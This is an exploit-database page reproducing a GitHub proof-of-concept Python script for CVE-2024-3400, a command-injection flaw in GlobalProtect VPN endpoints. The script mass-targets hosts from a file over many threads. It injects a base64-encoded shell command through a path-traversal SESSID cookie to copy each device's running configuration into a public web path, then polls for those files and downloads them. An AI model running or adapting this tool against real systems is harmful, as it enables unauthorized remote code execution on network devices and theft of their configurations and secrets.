Exploit database

GH-b45340b1b56c6bb41e21275971b8360c

wa6n3r/cve-2024-3400

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-3400

24 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
wa6n3r/cve-2024-3400Revision beb53d28e3c0

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 11,854 bytes
#!/usr/bin/env python3
"""
CVE-2024-3400 RCE
Author: wa6n3r
GitHub: github.com/wa6n3r
Web: wa6n3r.com
"""

import argparse
import base64
import random
import requests
import string
import time
import urllib3
import os
import sys
import threading
import signal
from concurrent.futures import ThreadPoolExecutor, as_completed
from queue import Queue
from datetime import datetime
from urllib.parse import urlparse

from rich.console import Console
from rich.style import Style
from rich.panel import Panel
from rich.text import Text

# =============================================================================
# CONFIGURATION
# =============================================================================

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

console = Console(highlight=False)
green = Style(color="green")
yellow = Style(color="yellow")
red = Style(color="red")
cyan = Style(color="cyan")

# Thread-safe file operations
file_lock = threading.Lock()
shutdown_flag = False

# ASCII Banner as specified
BANNER = "[ wa6n3r ]  ◆  GH: github.com/wa6n3r  ◆  WEB: wa6n3r.com"

BASE_HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
    "Content-Type": "application/x-www-form-urlencoded",
}

TARGET_QUEUE = Queue()
OUTPUT_DIR = "output"
MAYBE_RCE_LOG = "maybe_rce.log"
CONFIRMED_RCE_LOG = "confirmed_rce.log"

# =============================================================================
# LOGGING UTILITIES
# =============================================================================

def _timestamp() -> str:
    return datetime.now().strftime("%H:%M:%S")


def log_info(message: str):
    console.print(f"[{_timestamp()}] [bold cyan][INFO][/bold cyan] {message}")


def log_success(message: str):
    console.print(f"[{_timestamp()}] [bold green][SUCCESS][/bold green] {message}")


def log_error(message: str):
    console.print(f"[{_timestamp()}] [bold red][ERROR][/bold red] {message}")


def log_warning(message: str):
    console.print(f"[{_timestamp()}] [bold yellow][WARNING][/bold yellow] {message}")


def display_banner():
    """Display styled ASCII banner"""
    banner_panel = Panel(
        Text(BANNER, style="bold cyan"),
        border_style="cyan",
        padding=(0, 2),
        title="CVE-2024-3400",
        subtitle="RCE",
    )
    console.print(banner_panel)
    console.print()


# =============================================================================
# HELPER FUNCTIONS
# =============================================================================

def create_random_string(length: int) -> str:
    """Generate cryptographically random alphanumeric string"""
    characters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(characters) for _ in range(length))


def extract_domain(url: str) -> str:
    """Extract safe filename-safe domain from URL"""
    parsed = urlparse(url)
    domain = parsed.netloc or parsed.path.split('/')[0]
    return domain.replace(':', '_').replace('/', '_')


def safe_file_write(filename: str, content: str):
    """Thread-safe file append operation"""
    with file_lock:
        with open(filename, 'a', encoding='utf-8') as f:
            f.write(content)


def download_file(url: str, output_path: str) -> bool:
    """Download file with error handling"""
    try:
        resp = requests.get(url=url, headers=BASE_HEADERS, verify=False, timeout=10)
        if resp.status_code == 200:
            os.makedirs(os.path.dirname(output_path) or ".", exist_ok=True)
            with file_lock:
                with open(output_path, 'wb') as f:
                    f.write(resp.content)
            return True
        return False
    except Exception:
        return False


def normalize_targets(raw_targets: list) -> list:
    """Normalize and deduplicate target URLs"""
    normalized = []
    for t in raw_targets:
        t = t.strip()
        if not t:
            continue
        t = t.replace('http://', '').replace('https://', '')
        normalized.append(f"https://{t}")
    return list(set(normalized))


# =============================================================================
# EXPLOIT FUNCTIONS
# =============================================================================

def send_request(url: str):
    """Send exploit payload to target"""
    if shutdown_flag:
        return
    
    log_warning(f"Processing: {url}")
    
    try:
        # Build malicious command
        cmd = "cp /opt/pancfg/mgmt/saved-configs/running-config.xml /var/appweb/sslvpndocs/global-protect/portal/css/cert.main.css"
        base64_cmd = base64.b64encode(cmd.encode()).decode().rstrip("=")
        
        # Craft exploit headers with command injection
        headers = {
            **BASE_HEADERS,
            "Cookie": f"SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/`echo${{IFS}}{base64_cmd}|base64${{IFS}}-d|bash${{IFS}}-i`",
        }
        
        resp = requests.post(
            url=f"{url}/ssl-vpn/hipreport.esp",
            headers=headers,
            verify=False,
            allow_redirects=False,
            timeout=10
        )
        
        if resp.status_code == 200:
            target_url = f"{url}/global-protect/portal/css/cert.main.css\n"
            safe_file_write(MAYBE_RCE_LOG, target_url)
            log_success(f"Exploit sent, file may exist: {url}")
            
            # Attempt immediate download
            domain = extract_domain(url)
            output_file = f"{OUTPUT_DIR}/{domain}_cert.main.css"
            download_url = f"{url}/global-protect/portal/css/cert.main.css"
            
            if download_file(download_url, output_file):
                log_success(f"Downloaded: {output_file}")
            else:
                log_warning(f"Download pending: {output_file}")
        else:
            log_error(f"{url} returned status: {resp.status_code}")
            
    except requests.exceptions.Timeout:
        log_error(f"{url} - Request timeout")
    except requests.exceptions.ConnectionError:
        log_error(f"{url} - Connection error")
    except Exception as e:
        log_error(f"{url} - Exception: {type(e).__name__}: {str(e)}")


def check_findings(url: str) -> bool:
    """Verify RCE success by checking file accessibility"""
    if shutdown_flag:
        return False
    
    log_info(f"Checking: {url}")
    
    try:
        resp = requests.get(url=url, headers=BASE_HEADERS, verify=False, allow_redirects=False, timeout=10)
        if resp.status_code == 200:
            log_success(f"Detected RCE: {url}")
            safe_file_write(CONFIRMED_RCE_LOG, f"{url}\n")
            
            # Download confirmed file
            domain = extract_domain(url)
            output_file = f"{OUTPUT_DIR}/{domain}_cert.main.css"
            
            if download_file(url, output_file):
                log_success(f"Downloaded: {output_file}")
            else:
                log_warning(f"Failed to download: {output_file}")
            return True
    except requests.exceptions.Timeout:
        log_error(f"{url} - Request timeout")
    except requests.exceptions.ConnectionError:
        log_error(f"{url} - Connection error")
    except Exception as e:
        log_error(f"{url} - Exception: {type(e).__name__}: {str(e)}")
    return False


# =============================================================================
# FILE & TARGET HANDLING
# =============================================================================

def get_targets(filename: str) -> list:
    """Read and validate target file"""
    if not os.path.exists(filename):
        log_error(f"Target file not found: {filename}")
        sys.exit(1)
    
    try:
        with open(filename, 'r', encoding='utf-8') as f:
            targets = [line.strip() for line in f if line.strip()]
        return targets
    except Exception as e:
        log_error(f"Failed to read {filename}: {e}")
        sys.exit(1)


# =============================================================================
# SIGNAL HANDLING & MAIN
# =============================================================================

def signal_handler(sig, frame):
    """Graceful shutdown on Ctrl+C"""
    global shutdown_flag
    log_warning("Shutdown signal received, finishing current tasks...")
    shutdown_flag = True


def main():
    global shutdown_flag
    
    # Register signal handler
    signal.signal(signal.SIGINT, signal_handler)
    
    # Display banner
    display_banner()
    
    # Parse CLI arguments
    parser = argparse.ArgumentParser(
        description="CVE-2024-3400 RCE",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="Example: python exploit.py -f targets.txt -t 50"
    )
    parser.add_argument("-f", "--file", type=str, required=True, help="Target URLs file (e.g., urls.txt)")
    parser.add_argument("-t", "--threads", type=int, default=100, help="Concurrent threads (default: 100)")
    args = parser.parse_args()

    # Ensure output directory
    os.makedirs(OUTPUT_DIR, exist_ok=True)
    
    # Load and normalize targets
    raw_targets = get_targets(args.file)
    targets = normalize_targets(raw_targets)
    
    log_info(f"Loaded {len(targets)} unique targets")
    if targets:
        console.print(f"[cyan][Sample][/cyan] {targets[:3]}")

    # Phase 1: Send exploit requests
    log_info(f"Sending {len(targets)} exploit requests...")
    with ThreadPoolExecutor(max_workers=args.threads) as pool:
        futures = [pool.submit(send_request, target) for target in targets]
        for future in as_completed(futures):
            if shutdown_flag:
                break
    
    if shutdown_flag:
        log_info("Shutdown requested, skipping confirmation phase")
        return

    # Phase 2: Poll for confirmed RCE
    log_info("Starting confirmation phase...")
    
    if not os.path.exists(MAYBE_RCE_LOG):
        log_warning(f"{MAYBE_RCE_LOG} not found, nothing to confirm")
        return
        
    maybe_targets = [line.strip() for line in open(MAYBE_RCE_LOG, 'r') if line.strip()]
    
    MAX_RETRIES = 12
    RETRY_INTERVAL = 300  # 5 minutes
    retries = 0
    
    while retries <= MAX_RETRIES and not shutdown_flag:
        # Get already confirmed to avoid re-checking
        confirmed = set(line.strip() for line in open(CONFIRMED_RCE_LOG, 'r') if line.strip()) if os.path.exists(CONFIRMED_RCE_LOG) else set()
        pending = [t for t in maybe_targets if t not in confirmed]
        
        if not pending:
            log_success("All targets processed")
            break
            
        log_info(f"Polling {len(pending)} pending targets (attempt {retries + 1}/{MAX_RETRIES + 1})...")
        
        with ThreadPoolExecutor(max_workers=args.threads) as pool:
            futures = [pool.submit(check_findings, target) for target in pending]
            for future in as_completed(futures):
                if shutdown_flag:
                    break
        
        if shutdown_flag:
            break
            
        retries += 1
        if retries <= MAX_RETRIES:
            log_info(f"Waiting {RETRY_INTERVAL}s before next poll...")
            try:
                time.sleep(RETRY_INTERVAL)
            except KeyboardInterrupt:
                shutdown_flag = True

    # Final summary
    console.print()
    log_info("=== Scan Complete ===")
    log_info(f"Potential RCE: {MAYBE_RCE_LOG}")
    log_info(f"Confirmed RCE: {CONFIRMED_RCE_LOG}")
    log_info(f"Downloaded files: {OUTPUT_DIR}/")


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        console.print("\n[yellow]Interrupted by user[/yellow]")
        sys.exit(0)
    except Exception as e:
        log_error(f"Fatal error: {type(e).__name__}: {str(e)}")
        sys.exit(1)